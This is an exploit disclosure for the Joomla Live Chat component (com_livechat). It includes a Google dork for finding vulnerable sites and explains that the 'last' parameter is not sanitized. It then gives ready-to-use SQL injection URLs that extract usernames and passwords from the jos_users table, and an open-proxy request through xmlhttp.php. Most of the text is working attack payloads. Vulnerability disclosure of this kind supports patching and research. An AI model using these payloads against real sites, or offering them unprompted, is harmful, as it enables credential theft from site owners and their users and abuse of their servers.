Joomla! Component live chat - SQL Injection / Open Proxy

Joomla Live Chat

http://www.joompolitan.com/livechat.html

Google Dork: allinurl:option=com_livechat

author: jdc


SQL Injections:

administrator/components/com_livechat/getChat.php && administrator/components/com_livechat/getSavedChatRooms.php don't sanitize the variable 'last':


$last = (isset($_GET['last']) && $_GET['last'] != '') ? $_GET['last'] : 0;
--------------------------------------------------------^

administrator/components/com_livechat/getChat.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3,4%20from%20jos_users

administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3%20from%20jos_users


Open Proxy ( sends HTTP_FORWARDED ):

administrator/components/com_livechat/xmlhttp.php?GET$01$2$3$4$5$http://www.google.com


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